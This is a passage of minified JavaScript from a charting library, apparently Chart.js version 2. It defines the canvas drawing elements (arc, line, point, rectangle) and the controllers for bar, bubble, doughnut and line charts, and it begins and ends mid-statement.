e[a]&&e[a].apply(e,t)})),i}})})))),a._data=i),a.resyncElements()},_configure:function(){this._config=R.merge(Object.create(null),[this.chart.options.datasets[this._type],this.getDataset()],{merger:function(e,t,a){"_meta"!==e&&"data"!==e&&R._merger(e,t,a)}})},_update:function(e){this._configure(),this._cachedDataOpts=null,this.update(e)},update:R.noop,transition:function(e){for(var t=this.getMeta(),a=t.data||[],n=a.length,i=0;i<n;++i)a[i].transition(e);t.dataset&&t.dataset.transition(e)},draw:function(){var e=this.getMeta(),t=e.data||[],a=t.length,n=0;for(e.dataset&&e.dataset.draw();n<a;++n)t[n].draw()},getStyle:function(e){var t,a=this.getMeta(),n=a.dataset;return this._configure(),n&&void 0===e?t=this._resolveDatasetElementOptions(n||{}):(e=e||0,t=this._resolveDataElementOptions(a.data[e]||{},e)),!1!==t.fill&&null!==t.fill||(t.backgroundColor=t.borderColor),t},_resolveDatasetElementOptions:function(e,t){var a,n,i,r,s=this,o=s.chart,d=s._config,l=e.custom||{},u=o.options.elements[s.datasetElementType.prototype._type]||{},_=s._datasetElementOptions,m={},h={chart:o,dataset:s.getDataset(),datasetIndex:s.index,hover:t};for(a=0,n=_.length;a<n;++a)i=_[a],r=t?"hover"+i.charAt(0).toUpperCase()+i.slice(1):i,m[i]=Q([l[r],d[r],u[r]],h);return m},_resolveDataElementOptions:function(e,t){var a=this,n=e&&e.custom,i=a._cachedDataOpts;if(i&&!n)return i;var r,s,o,d,l=a.chart,u=a._config,_=l.options.elements[a.dataElementType.prototype._type]||{},m=a._dataElementOptions,h={},c={chart:l,dataIndex:t,dataset:a.getDataset(),datasetIndex:a.index},f={cacheable:!n};if(n=n||{},R.isArray(m))for(s=0,o=m.length;s<o;++s)h[d=m[s]]=Q([n[d],u[d],_[d]],c,t,f);else for(s=0,o=(r=Object.keys(m)).length;s<o;++s)h[d=r[s]]=Q([n[d],u[m[d]],u[d],_[d]],c,t,f);return f.cacheable&&(a._cachedDataOpts=Object.freeze(h)),h},removeHoverStyle:function(e){R.merge(e._model,e.$previousStyle||{}),delete e.$previousStyle},setHoverStyle:function(e){var t=this.chart.data.datasets[e._datasetIndex],a=e._index,n=e.custom||{},i=e._model,r=R.getHoverColor;e.$previousStyle={backgroundColor:i.backgroundColor,borderColor:i.borderColor,borderWidth:i.borderWidth},i.backgroundColor=Q([n.hoverBackgroundColor,t.hoverBackgroundColor,r(i.backgroundColor)],void 0,a),i.borderColor=Q([n.hoverBorderColor,t.hoverBorderColor,r(i.borderColor)],void 0,a),i.borderWidth=Q([n.hoverBorderWidth,t.hoverBorderWidth,i.borderWidth],void 0,a)},_removeDatasetHoverStyle:function(){var e=this.getMeta().dataset;e&&this.removeHoverStyle(e)},_setDatasetHoverStyle:function(){var e,t,a,n,i,r,s=this.getMeta().dataset,o={};if(s){for(r=s._model,i=this._resolveDatasetElementOptions(s,!0),e=0,t=(n=Object.keys(i)).length;e<t;++e)o[a=n[e]]=r[a],r[a]=i[a];s.$previousStyle=o}},resyncElements:function(){var e=this.getMeta(),t=this.getDataset().data,a=e.data.length,n=t.length;n<a?e.data.splice(n,a-n):n>a&&this.insertElements(a,n-a)},insertElements:function(e,t){for(var a=0;a<t;++a)this.addElementAndReset(e+a)},onDataPush:function(){var e=arguments.length;this.insertElements(this.getDataset().data.length-e,e)},onDataPop:function(){this.getMeta().data.pop()},onDataShift:function(){this.getMeta().data.shift()},onDataSplice:function(e,t){this.getMeta().data.splice(e,t),this.insertElements(e,arguments.length-2)},onDataUnshift:function(){this.insertElements(0,arguments.length)}}),ae.extend=R.inherits;var ne=ae,ie=2*Math.PI;function re(e,t){var a=t.startAngle,n=t.endAngle,i=t.pixelMargin,r=i/t.outerRadius,s=t.x,o=t.y;e.beginPath(),e.arc(s,o,t.outerRadius,a-r,n+r),t.innerRadius>i?(r=i/t.innerRadius,e.arc(s,o,t.innerRadius-i,n+r,a-r,!0)):e.arc(s,o,i,n+Math.PI/2,a-Math.PI/2),e.closePath(),e.clip()}function se(e,t,a){var n="inner"===t.borderAlign;n?(e.lineWidth=2*t.borderWidth,e.lineJoin="round"):(e.lineWidth=t.borderWidth,e.lineJoin="bevel"),a.fullCircles&&function(e,t,a,n){var i,r=a.endAngle;for(n&&(a.endAngle=a.startAngle+ie,re(e,a),a.endAngle=r,a.endAngle===a.startAngle&&a.fullCircles&&(a.endAngle+=ie,a.fullCircles--)),e.beginPath(),e.arc(a.x,a.y,a.innerRadius,a.startAngle+ie,a.startAngle,!0),i=0;i<a.fullCircles;++i)e.stroke();for(e.beginPath(),e.arc(a.x,a.y,t.outerRadius,a.startAngle,a.startAngle+ie),i=0;i<a.fullCircles;++i)e.stroke()}(e,t,a,n),n&&re(e,a),e.beginPath(),e.arc(a.x,a.y,t.outerRadius,a.startAngle,a.endAngle),e.arc(a.x,a.y,a.innerRadius,a.endAngle,a.startAngle,!0),e.closePath(),e.stroke()}C._set("global",{elements:{arc:{backgroundColor:C.global.defaultColor,borderColor:"#fff",borderWidth:2,borderAlign:"center"}}});var oe=K.extend({_type:"arc",inLabelRange:function(e){var t=this._view;return!!t&&Math.pow(e-t.x,2)<Math.pow(t.radius+t.hoverRadius,2)},inRange:function(e,t){var a=this._view;if(a){for(var n=R.getAngleFromPoint(a,{x:e,y:t}),i=n.angle,r=n.distance,s=a.startAngle,o=a.endAngle;o<s;)o+=ie;for(;i>o;)i-=ie;for(;i<s;)i+=ie;var d=i>=s&&i<=o,l=r>=a.innerRadius&&r<=a.outerRadius;return d&&l}return!1},getCenterPoint:function(){var e=this._view,t=(e.startAngle+e.endAngle)/2,a=(e.innerRadius+e.outerRadius)/2;return{x:e.x+Math.cos(t)*a,y:e.y+Math.sin(t)*a}},getArea:function(){var e=this._view;return Math.PI*((e.endAngle-e.startAngle)/(2*Math.PI))*(Math.pow(e.outerRadius,2)-Math.pow(e.innerRadius,2))},tooltipPosition:function(){var e=this._view,t=e.startAngle+(e.endAngle-e.startAngle)/2,a=(e.outerRadius-e.innerRadius)/2+e.innerRadius;return{x:e.x+Math.cos(t)*a,y:e.y+Math.sin(t)*a}},draw:function(){var e,t=this._chart.ctx,a=this._view,n="inner"===a.borderAlign?.33:0,i={x:a.x,y:a.y,innerRadius:a.innerRadius,outerRadius:Math.max(a.outerRadius-n,0),pixelMargin:n,startAngle:a.startAngle,endAngle:a.endAngle,fullCircles:Math.floor(a.circumference/ie)};if(t.save(),t.fillStyle=a.backgroundColor,t.strokeStyle=a.borderColor,i.fullCircles){for(i.endAngle=i.startAngle+ie,t.beginPath(),t.arc(i.x,i.y,i.outerRadius,i.startAngle,i.endAngle),t.arc(i.x,i.y,i.innerRadius,i.endAngle,i.startAngle,!0),t.closePath(),e=0;e<i.fullCircles;++e)t.fill();i.endAngle=i.startAngle+a.circumference%ie}t.beginPath(),t.arc(i.x,i.y,i.outerRadius,i.startAngle,i.endAngle),t.arc(i.x,i.y,i.innerRadius,i.endAngle,i.startAngle,!0),t.closePath(),t.fill(),a.borderWidth&&se(t,a,i),t.restore()}}),de=R.valueOrDefault,le=C.global.defaultColor;C._set("global",{elements:{line:{tension:.4,backgroundColor:le,borderWidth:3,borderColor:le,borderCapStyle:"butt",borderDash:[],borderDashOffset:0,borderJoinStyle:"miter",capBezierPoints:!0,fill:!0}}});var ue=K.extend({_type:"line",draw:function(){var e,t,a,n=this,i=n._view,r=n._chart.ctx,s=i.spanGaps,o=n._children.slice(),d=C.global,l=d.elements.line,u=-1,_=n._loop;if(o.length){if(n._loop){for(e=0;e<o.length;++e)if(t=R.previousItem(o,e),!o[e]._view.skip&&t._view.skip){o=o.slice(e).concat(o.slice(0,e)),_=s;break}_&&o.push(o[0])}for(r.save(),r.lineCap=i.borderCapStyle||l.borderCapStyle,r.setLineDash&&r.setLineDash(i.borderDash||l.borderDash),r.lineDashOffset=de(i.borderDashOffset,l.borderDashOffset),r.lineJoin=i.borderJoinStyle||l.borderJoinStyle,r.lineWidth=de(i.borderWidth,l.borderWidth),r.strokeStyle=i.borderColor||d.defaultColor,r.beginPath(),(a=o[0]._view).skip||(r.moveTo(a.x,a.y),u=0),e=1;e<o.length;++e)a=o[e]._view,t=-1===u?R.previousItem(o,e):o[u],a.skip||(u!==e-1&&!s||-1===u?r.moveTo(a.x,a.y):R.canvas.lineTo(r,t._view,a),u=e);_&&r.closePath(),r.stroke(),r.restore()}}}),_e=R.valueOrDefault,me=C.global.defaultColor;function he(e){var t=this._view;return!!t&&Math.abs(e-t.x)<t.radius+t.hitRadius}C._set("global",{elements:{point:{radius:3,pointStyle:"circle",backgroundColor:me,borderColor:me,borderWidth:1,hitRadius:1,hoverRadius:4,hoverBorderWidth:1}}});var ce=K.extend({_type:"point",inRange:function(e,t){var a=this._view;return!!a&&Math.pow(e-a.x,2)+Math.pow(t-a.y,2)<Math.pow(a.hitRadius+a.radius,2)},inLabelRange:he,inXRange:he,inYRange:function(e){var t=this._view;return!!t&&Math.abs(e-t.y)<t.radius+t.hitRadius},getCenterPoint:function(){var e=this._view;return{x:e.x,y:e.y}},getArea:function(){return Math.PI*Math.pow(this._view.radius,2)},tooltipPosition:function(){var e=this._view;return{x:e.x,y:e.y,padding:e.radius+e.borderWidth}},draw:function(e){var t=this._view,a=this._chart.ctx,n=t.pointStyle,i=t.rotation,r=t.radius,s=t.x,o=t.y,d=C.global,l=d.defaultColor;t.skip||(void 0===e||R.canvas._isPointInArea(t,e))&&(a.strokeStyle=t.borderColor||l,a.lineWidth=_e(t.borderWidth,d.elements.point.borderWidth),a.fillStyle=t.backgroundColor||l,R.canvas.drawPoint(a,n,r,s,o,i))}}),fe=C.global.defaultColor;function Me(e){return e&&void 0!==e.width}function pe(e){var t,a,n,i,r;return Me(e)?(r=e.width/2,t=e.x-r,a=e.x+r,n=Math.min(e.y,e.base),i=Math.max(e.y,e.base)):(r=e.height/2,t=Math.min(e.x,e.base),a=Math.max(e.x,e.base),n=e.y-r,i=e.y+r),{left:t,top:n,right:a,bottom:i}}function ge(e,t,a){return e===t?a:e===a?t:e}function ye(e,t,a){var n,i,r,s,o=e.borderWidth,d=function(e){var t=e.borderSkipped,a={};return t?(e.horizontal?e.base>e.x&&(t=ge(t,"left","right")):e.base<e.y&&(t=ge(t,"bottom","top")),a[t]=!0,a):a}(e);return R.isObject(o)?(n=+o.top||0,i=+o.right||0,r=+o.bottom||0,s=+o.left||0):n=i=r=s=+o||0,{t:d.top||n<0?0:n>a?a:n,r:d.right||i<0?0:i>t?t:i,b:d.bottom||r<0?0:r>a?a:r,l:d.left||s<0?0:s>t?t:s}}function Le(e,t,a){var n=null===t,i=null===a,r=!(!e||n&&i)&&pe(e);return r&&(n||t>=r.left&&t<=r.right)&&(i||a>=r.top&&a<=r.bottom)}C._set("global",{elements:{rectangle:{backgroundColor:fe,borderColor:fe,borderSkipped:"bottom",borderWidth:0}}});var Ye=K.extend({_type:"rectangle",draw:function(){var e=this._chart.ctx,t=this._view,a=function(e){var t=pe(e),a=t.right-t.left,n=t.bottom-t.top,i=ye(e,a/2,n/2);return{outer:{x:t.left,y:t.top,w:a,h:n},inner:{x:t.left+i.l,y:t.top+i.t,w:a-i.l-i.r,h:n-i.t-i.b}}}(t),n=a.outer,i=a.inner;e.fillStyle=t.backgroundColor,e.fillRect(n.x,n.y,n.w,n.h),n.w===i.w&&n.h===i.h||(e.save(),e.beginPath(),e.rect(n.x,n.y,n.w,n.h),e.clip(),e.fillStyle=t.borderColor,e.rect(i.x,i.y,i.w,i.h),e.fill("evenodd"),e.restore())},height:function(){var e=this._view;return e.base-e.y},inRange:function(e,t){return Le(this._view,e,t)},inLabelRange:function(e,t){var a=this._view;return Me(a)?Le(a,e,null):Le(a,null,t)},inXRange:function(e){return Le(this._view,e,null)},inYRange:function(e){return Le(this._view,null,e)},getCenterPoint:function(){var e,t,a=this._view;return Me(a)?(e=a.x,t=(a.y+a.base)/2):(e=(a.x+a.base)/2,t=a.y),{x:e,y:t}},getArea:function(){var e=this._view;return Me(e)?e.width*Math.abs(e.y-e.base):e.height*Math.abs(e.x-e.base)},tooltipPosition:function(){var e=this._view;return{x:e.x,y:e.y}}}),ve={},ke=oe,be=ue,De=ce,we=Ye;ve.Arc=ke,ve.Line=be,ve.Point=De,ve.Rectangle=we;var Te=R._deprecated,xe=R.valueOrDefault;function Se(e,t,a){var n,i,r=a.barThickness,s=t.stackCount,o=t.pixels[e],d=R.isNullOrUndef(r)?function(e,t){var a,n,i,r,s=e._length;for(i=1,r=t.length;i<r;++i)s=Math.min(s,Math.abs(t[i]-t[i-1]));for(i=0,r=e.getTicks().length;i<r;++i)n=e.getPixelForTick(i),s=i>0?Math.min(s,Math.abs(n-a)):s,a=n;return s}(t.scale,t.pixels):-1;return R.isNullOrUndef(r)?(n=d*a.categoryPercentage,i=a.barPercentage):(n=r*s,i=1),{chunk:n/s,ratio:i,start:o-n/2}}C._set("bar",{hover:{mode:"label"},scales:{xAxes:[{type:"category",offset:!0,gridLines:{offsetGridLines:!0}}],yAxes:[{type:"linear"}]}}),C._set("global",{datasets:{bar:{categoryPercentage:.8,barPercentage:.9}}});var He=ne.extend({dataElementType:ve.Rectangle,_dataElementOptions:["backgroundColor","borderColor","borderSkipped","borderWidth","barPercentage","barThickness","categoryPercentage","maxBarThickness","minBarLength"],initialize:function(){var e,t,a=this;ne.prototype.initialize.apply(a,arguments),(e=a.getMeta()).stack=a.getDataset().stack,e.bar=!0,t=a._getIndexScale().options,Te("bar chart",t.barPercentage,"scales.[x/y]Axes.barPercentage","dataset.barPercentage"),Te("bar chart",t.barThickness,"scales.[x/y]Axes.barThickness","dataset.barThickness"),Te("bar chart",t.categoryPercentage,"scales.[x/y]Axes.categoryPercentage","dataset.categoryPercentage"),Te("bar chart",a._getValueScale().options.minBarLength,"scales.[x/y]Axes.minBarLength","dataset.minBarLength"),Te("bar chart",t.maxBarThickness,"scales.[x/y]Axes.maxBarThickness","dataset.maxBarThickness")},update:function(e){var t,a,n=this.getMeta().data;for(this._ruler=this.getRuler(),t=0,a=n.length;t<a;++t)this.updateElement(n[t],t,e)},updateElement:function(e,t,a){var n=this,i=n.getMeta(),r=n.getDataset(),s=n._resolveDataElementOptions(e,t);e._xScale=n.getScaleForId(i.xAxisID),e._yScale=n.getScaleForId(i.yAxisID),e._datasetIndex=n.index,e._index=t,e._model={backgroundColor:s.backgroundColor,borderColor:s.borderColor,borderSkipped:s.borderSkipped,borderWidth:s.borderWidth,datasetLabel:r.label,label:n.chart.data.labels[t]},R.isArray(r.data[t])&&(e._model.borderSkipped=null),n._updateElementGeometry(e,t,a,s),e.pivot()},_updateElementGeometry:function(e,t,a,n){var i=this,r=e._model,s=i._getValueScale(),o=s.getBasePixel(),d=s.isHorizontal(),l=i._ruler||i.getRuler(),u=i.calculateBarValuePixels(i.index,t,n),_=i.calculateBarIndexPixels(i.index,t,l,n);r.horizontal=d,r.base=a?o:u.base,r.x=d?a?o:u.head:_.center,r.y=d?_.center:a?o:u.head,r.height=d?_.size:void 0,r.width=d?void 0:_.size},_getStacks:function(e){var t,a,n=this._getIndexScale(),i=n._getMatchingVisibleMetas(this._type),r=n.options.stacked,s=i.length,o=[];for(t=0;t<s&&(a=i[t],(!1===r||-1===o.indexOf(a.stack)||void 0===r&&void 0===a.stack)&&o.push(a.stack),a.index!==e);++t);return o},getStackCount:function(){return this._getStacks().length},getStackIndex:function(e,t){var a=this._getStacks(e),n=void 0!==t?a.indexOf(t):-1;return-1===n?a.length-1:n},getRuler:function(){var e,t,a=this._getIndexScale(),n=[];for(e=0,t=this.getMeta().data.length;e<t;++e)n.push(a.getPixelForValue(null,e,this.index));return{pixels:n,start:a._startPixel,end:a._endPixel,stackCount:this.getStackCount(),scale:a}},calculateBarValuePixels:function(e,t,a){var n,i,r,s,o,d,l,u=this.chart,_=this._getValueScale(),m=_.isHorizontal(),h=u.data.datasets,c=_._getMatchingVisibleMetas(this._type),f=_._parseValue(h[e].data[t]),M=a.minBarLength,p=_.options.stacked,g=this.getMeta().stack,y=void 0===f.start?0:f.max>=0&&f.min>=0?f.min:f.max,L=void 0===f.start?f.end:f.max>=0&&f.min>=0?f.max-f.min:f.min-f.max,Y=c.length;if(p||void 0===p&&void 0!==g)for(n=0;n<Y&&(i=c[n]).index!==e;++n)i.stack===g&&(r=void 0===(l=_._parseValue(h[i.index].data[t])).start?l.end:l.min>=0&&l.max>=0?l.max:l.min,(f.min<0&&r<0||f.max>=0&&r>0)&&(y+=r));return s=_.getPixelForValue(y),d=(o=_.getPixelForValue(y+L))-s,void 0!==M&&Math.abs(d)<M&&(d=M,o=L>=0&&!m||L<0&&m?s-M:s+M),{size:d,base:s,head:o,center:o+d/2}},calculateBarIndexPixels:function(e,t,a,n){var i="flex"===n.barThickness?function(e,t,a){var n,i=t.pixels,r=i[e],s=e>0?i[e-1]:null,o=e<i.length-1?i[e+1]:null,d=a.categoryPercentage;return null===s&&(s=r-(null===o?t.end-t.start:o-r)),null===o&&(o=r+r-s),n=r-(r-Math.min(s,o))/2*d,{chunk:Math.abs(o-s)/2*d/t.stackCount,ratio:a.barPercentage,start:n}}(t,a,n):Se(t,a,n),r=this.getStackIndex(e,this.getMeta().stack),s=i.start+i.chunk*r+i.chunk/2,o=Math.min(xe(n.maxBarThickness,1/0),i.chunk*i.ratio);return{base:s-o/2,head:s+o/2,center:s,size:o}},draw:function(){var e=this.chart,t=this._getValueScale(),a=this.getMeta().data,n=this.getDataset(),i=a.length,r=0;for(R.canvas.clipArea(e.ctx,e.chartArea);r<i;++r){var s=t._parseValue(n.data[r]);isNaN(s.min)||isNaN(s.max)||a[r].draw()}R.canvas.unclipArea(e.ctx)},_resolveDataElementOptions:function(){var e=this,t=R.extend({},ne.prototype._resolveDataElementOptions.apply(e,arguments)),a=e._getIndexScale().options,n=e._getValueScale().options;return t.barPercentage=xe(a.barPercentage,t.barPercentage),t.barThickness=xe(a.barThickness,t.barThickness),t.categoryPercentage=xe(a.categoryPercentage,t.categoryPercentage),t.maxBarThickness=xe(a.maxBarThickness,t.maxBarThickness),t.minBarLength=xe(n.minBarLength,t.minBarLength),t}}),je=R.valueOrDefault,Pe=R.options.resolve;C._set("bubble",{hover:{mode:"single"},scales:{xAxes:[{type:"linear",position:"bottom",id:"x-axis-0"}],yAxes:[{type:"linear",position:"left",id:"y-axis-0"}]},tooltips:{callbacks:{title:function(){return""},label:function(e,t){var a=t.datasets[e.datasetIndex].label||"",n=t.datasets[e.datasetIndex].data[e.index];return a+": ("+e.xLabel+", "+e.yLabel+", "+n.r+")"}}}});var Oe=ne.extend({dataElementType:ve.Point,_dataElementOptions:["backgroundColor","borderColor","borderWidth","hoverBackgroundColor","hoverBorderColor","hoverBorderWidth","hoverRadius","hitRadius","pointStyle","rotation"],update:function(e){var t=this,a=t.getMeta().data;R.each(a,(function(a,n){t.updateElement(a,n,e)}))},updateElement:function(e,t,a){var n=this,i=n.getMeta(),r=e.custom||{},s=n.getScaleForId(i.xAxisID),o=n.getScaleForId(i.yAxisID),d=n._resolveDataElementOptions(e,t),l=n.getDataset().data[t],u=n.index,_=a?s.getPixelForDecimal(.5):s.getPixelForValue("object"==typeof l?l:NaN,t,u),m=a?o.getBasePixel():o.getPixelForValue(l,t,u);e._xScale=s,e._yScale=o,e._options=d,e._datasetIndex=u,e._index=t,e._model={backgroundColor:d.backgroundColor,borderColor:d.borderColor,borderWidth:d.borderWidth,hitRadius:d.hitRadius,pointStyle:d.pointStyle,rotation:d.rotation,radius:a?0:d.radius,skip:r.skip||isNaN(_)||isNaN(m),x:_,y:m},e.pivot()},setHoverStyle:function(e){var t=e._model,a=e._options,n=R.getHoverColor;e.$previousStyle={backgroundColor:t.backgroundColor,borderColor:t.borderColor,borderWidth:t.borderWidth,radius:t.radius},t.backgroundColor=je(a.hoverBackgroundColor,n(a.backgroundColor)),t.borderColor=je(a.hoverBorderColor,n(a.borderColor)),t.borderWidth=je(a.hoverBorderWidth,a.borderWidth),t.radius=a.radius+a.hoverRadius},_resolveDataElementOptions:function(e,t){var a=this,n=a.chart,i=a.getDataset(),r=e.custom||{},s=i.data[t]||{},o=ne.prototype._resolveDataElementOptions.apply(a,arguments),d={chart:n,dataIndex:t,dataset:i,datasetIndex:a.index};return a._cachedDataOpts===o&&(o=R.extend({},o)),o.radius=Pe([r.radius,s.r,a._config.radius,n.options.elements.point.radius],d,t),o}}),Ae=R.valueOrDefault,Fe=Math.PI,We=2*Fe,Ce=Fe/2;C._set("doughnut",{animation:{animateRotate:!0,animateScale:!1},hover:{mode:"single"},legendCallback:function(e){var t,a,n,i=document.createElement("ul"),r=e.data,s=r.datasets,o=r.labels;if(i.setAttribute("class",e.id+"-legend"),s.length)for(t=0,a=s[0].data.length;t<a;++t)(n=i.appendChild(document.createElement("li"))).appendChild(document.createElement("span")).style.backgroundColor=s[0].backgroundColor[t],o[t]&&n.appendChild(document.createTextNode(o[t]));return i.outerHTML},legend:{labels:{generateLabels:function(e){var t=e.data;return t.labels.length&&t.datasets.length?t.labels.map((function(a,n){var i=e.getDatasetMeta(0),r=i.controller.getStyle(n);return{text:a,fillStyle:r.backgroundColor,strokeStyle:r.borderColor,lineWidth:r.borderWidth,hidden:isNaN(t.datasets[0].data[n])||i.data[n].hidden,index:n}})):[]}},onClick:function(e,t){var a,n,i,r=t.index,s=this.chart;for(a=0,n=(s.data.datasets||[]).length;a<n;++a)(i=s.getDatasetMeta(a)).data[r]&&(i.data[r].hidden=!i.data[r].hidden);s.update()}},cutoutPercentage:50,rotation:-Ce,circumference:We,tooltips:{callbacks:{title:function(){return""},label:function(e,t){var a=t.labels[e.index],n=": "+t.datasets[e.datasetIndex].data[e.index];return R.isArray(a)?(a=a.slice())[0]+=n:a+=n,a}}}});var Ee=ne.extend({dataElementType:ve.Arc,linkScales:R.noop,_dataElementOptions:["backgroundColor","borderColor","borderWidth","borderAlign","hoverBackgroundColor","hoverBorderColor","hoverBorderWidth"],getRingIndex:function(e){for(var t=0,a=0;a<e;++a)this.chart.isDatasetVisible(a)&&++t;return t},update:function(e){var t,a,n,i,r=this,s=r.chart,o=s.chartArea,d=s.options,l=1,u=1,_=0,m=0,h=r.getMeta(),c=h.data,f=d.cutoutPercentage/100||0,M=d.circumference,p=r._getRingWeight(r.index);if(M<We){var g=d.rotation%We,y=(g+=g>=Fe?-We:g<-Fe?We:0)+M,L=Math.cos(g),Y=Math.sin(g),v=Math.cos(y),k=Math.sin(y),b=g<=0&&y>=0||y>=We,D=g<=Ce&&y>=Ce||y>=We+Ce,w=g<=-Ce&&y>=-Ce||y>=Fe+Ce,T=g===-Fe||y>=Fe?-1:Math.min(L,L*f,v,v*f),x=w?-1:Math.min(Y,Y*f,k,k*f),S=b?1:Math.max(L,L*f,v,v*f),H=D?1:Math.max(Y,Y*f,k,k*f);l=(S-T)/2,u=(H-x)/2,_=-(S+T)/2,m=-(H+x)/2}for(n=0,i=c.length;n<i;++n)c[n]._options=r._resolveDataElementOptions(c[n],n);for(s.borderWidth=r.getMaxBorderWidth(),t=(o.right-o.left-s.borderWidth)/l,a=(o.bottom-o.top-s.borderWidth)/u,s.outerRadius=Math.max(Math.min(t,a)/2,0),s.innerRadius=Math.max(s.outerRadius*f,0),s.radiusLength=(s.outerRadius-s.innerRadius)/(r._getVisibleDatasetWeightTotal()||1),s.offsetX=_*s.outerRadius,s.offsetY=m*s.outerRadius,h.total=r.calculateTotal(),r.outerRadius=s.outerRadius-s.radiusLength*r._getRingWeightOffset(r.index),r.innerRadius=Math.max(r.outerRadius-s.radiusLength*p,0),n=0,i=c.length;n<i;++n)r.updateElement(c[n],n,e)},updateElement:function(e,t,a){var n=this,i=n.chart,r=i.chartArea,s=i.options,o=s.animation,d=(r.left+r.right)/2,l=(r.top+r.bottom)/2,u=s.rotation,_=s.rotation,m=n.getDataset(),h=a&&o.animateRotate||e.hidden?0:n.calculateCircumference(m.data[t])*(s.circumference/We),c=a&&o.animateScale?0:n.innerRadius,f=a&&o.animateScale?0:n.outerRadius,M=e._options||{};R.extend(e,{_datasetIndex:n.index,_index:t,_model:{backgroundColor:M.backgroundColor,borderColor:M.borderColor,borderWidth:M.borderWidth,borderAlign:M.borderAlign,x:d+i.offsetX,y:l+i.offsetY,startAngle:u,endAngle:_,circumference:h,outerRadius:f,innerRadius:c,label:R.valueAtIndexOrDefault(m.label,t,i.data.labels[t])}});var p=e._model;a&&o.animateRotate||(p.startAngle=0===t?s.rotation:n.getMeta().data[t-1]._model.endAngle,p.endAngle=p.startAngle+p.circumference),e.pivot()},calculateTotal:function(){var e,t=this.getDataset(),a=this.getMeta(),n=0;return R.each(a.data,(function(a,i){e=t.data[i],isNaN(e)||a.hidden||(n+=Math.abs(e))})),n},calculateCircumference:function(e){var t=this.getMeta().total;return t>0&&!isNaN(e)?We*(Math.abs(e)/t):0},getMaxBorderWidth:function(e){var t,a,n,i,r,s,o,d,l=0,u=this.chart;if(!e)for(t=0,a=u.data.datasets.length;t<a;++t)if(u.isDatasetVisible(t)){e=(n=u.getDatasetMeta(t)).data,t!==this.index&&(r=n.controller);break}if(!e)return 0;for(t=0,a=e.length;t<a;++t)i=e[t],r?(r._configure(),s=r._resolveDataElementOptions(i,t)):s=i._options,"inner"!==s.borderAlign&&(o=s.borderWidth,l=(d=s.hoverBorderWidth)>(l=o>l?o:l)?d:l);return l},setHoverStyle:function(e){var t=e._model,a=e._options,n=R.getHoverColor;e.$previousStyle={backgroundColor:t.backgroundColor,borderColor:t.borderColor,borderWidth:t.borderWidth},t.backgroundColor=Ae(a.hoverBackgroundColor,n(a.backgroundColor)),t.borderColor=Ae(a.hoverBorderColor,n(a.borderColor)),t.borderWidth=Ae(a.hoverBorderWidth,a.borderWidth)},_getRingWeightOffset:function(e){for(var t=0,a=0;a<e;++a)this.chart.isDatasetVisible(a)&&(t+=this._getRingWeight(a));return t},_getRingWeight:function(e){return Math.max(Ae(this.chart.data.datasets[e].weight,1),0)},_getVisibleDatasetWeightTotal:function(){return this._getRingWeightOffset(this.chart.data.datasets.length)}});C._set("horizontalBar",{hover:{mode:"index",axis:"y"},scales:{xAxes:[{type:"linear",position:"bottom"}],yAxes:[{type:"category",position:"left",offset:!0,gridLines:{offsetGridLines:!0}}]},elements:{rectangle:{borderSkipped:"left"}},tooltips:{mode:"index",axis:"y"}}),C._set("global",{datasets:{horizontalBar:{categoryPercentage:.8,barPercentage:.9}}});var ze=He.extend({_getValueScaleId:function(){return this.getMeta().xAxisID},_getIndexScaleId:function(){return this.getMeta().yAxisID}}),Ie=R.valueOrDefault,Ne=R.options.resolve,Re=R.canvas._isPointInArea;function Ve(e,t){var a=e&&e.options.ticks||{},n=a.reverse,i=void 0===a.min?t:0,r=void 0===a.max?t:0;return{start:n?r:i,end:n?i:r}}function Be(e,t,a){var n=a/2,i=Ve(e,n),r=Ve(t,n);return{top:r.end,right:i.end,bottom:r.start,left:i.start}}function Je(e){var t,a,n,i;return R.isObject(e)?(t=e.top,a=e.right,n=e.bottom,i=e.left):t=a=n=i=e,{top:t,right:a,bottom:n,left:i}}C._set("line",{showLines:!0,spanGaps:!1,hover:{mode:"label"},scales:{xAxes:[{type:"category",id:"x-axis-0"}],yAxes:[{type:"linear",id:"y-axis-0"}]}});var Ue=ne.extend({datasetElementType:ve.Line,dataElementType:ve.Point,_datasetElementOptions:["backgroundColor","borderCapStyle","borderColor","borderDash","borderDashOffset","borderJoinStyle","borderWidth","cubicInterpolationMode","fill"],_dataElementOptions:{backgroundColor:"pointBackgroundColor",borderColor:"pointBorderColor",borderWidth:"pointBorderWidth",hitRadius:"pointHitRadius",hoverBackgroundColor:"pointHoverBackgroundColor",hoverBorderColor:"pointHoverBorderColor",hoverBorderWidth:"pointHoverBorderWidth",hoverRadius:"pointHoverRadius",pointStyle:"pointStyle",radius:"pointRadius",rotation:"pointRotation"},update:function(e){var t,a,n=this,i=n.getMeta(),r=i.dataset,s=i.data||[],o=n.chart.options,d=n._config,l=n._showLine=Ie(d.showLine,o.showLines);for(n._xScale=n.getScaleForId(i.xAxisID),n._yScale=n.getScaleForId(i.yAxisID),l&&(void 0!==d.tension&&void 0===d.lineTension&&(d.lineTension=d.tension),r._scale=n._yScale,r._datasetIndex=n.index,r._children=s,r._model=n._resolveDatasetElementOptions(r),r.pivot()),t=0,a=s.length;t<a;++t)n.updateElement(s[t],t,e);for(l&&0!==r._model.tension&&n.updateBezierControlPoints(),t=0,a=s.length;t<a;++t)s[t].pivot()},updateElement:function(e,t,a){var n,i,r=this,s=r.getMeta(),o=e.custom||{},d=r.getDataset(),l=r.index,u=d.data[t],_=r._xScale,m=r._yScale,h=s.dataset._model,c=r._resolveDataElementOptions(e,t);n=_.getPixelForValue("object"==typeof u?u:NaN,t,l),i=a?m.getBasePixel():r.calculatePointY(u,t,l),e._xScale=_,e._yScale=m,e._options=c,e._datasetIndex=l,e._index=t,e._model={x:n,y:i,skip:o.skip||isNaN(n)||isNaN(i),radius:c.radius,pointStyle:c.pointStyle,rotation:c.rotation,backgroundColor:c.backgroundColor,borderColor:c.borderColor,borderWidth:c.borderWidth,tension:Ie(o.tension,h?h.tension:0),steppedLine:!!h&&h.steppedLine,hitRadius:c.hitRadius}},_resolveDatasetElementOptions:function(e){var t=this,a=t._config,n=e.custom||{},i=t.chart.options,r=i.elements.line,s=ne.prototype._resolveDatasetElementOptions.apply(t,arguments);return s.spanGaps=Ie(a.spanGaps,i.spanGaps),s.tension=Ie(a.lineTension,r.tension),s.steppedLine=Ne([n.steppedLine,a.steppedLine,r.stepped]),s.clip=Je(Ie(a.clip,Be(t._xScale,t._yScale,s.borderWidth))),s},calculatePointY:function(e,t,a){var 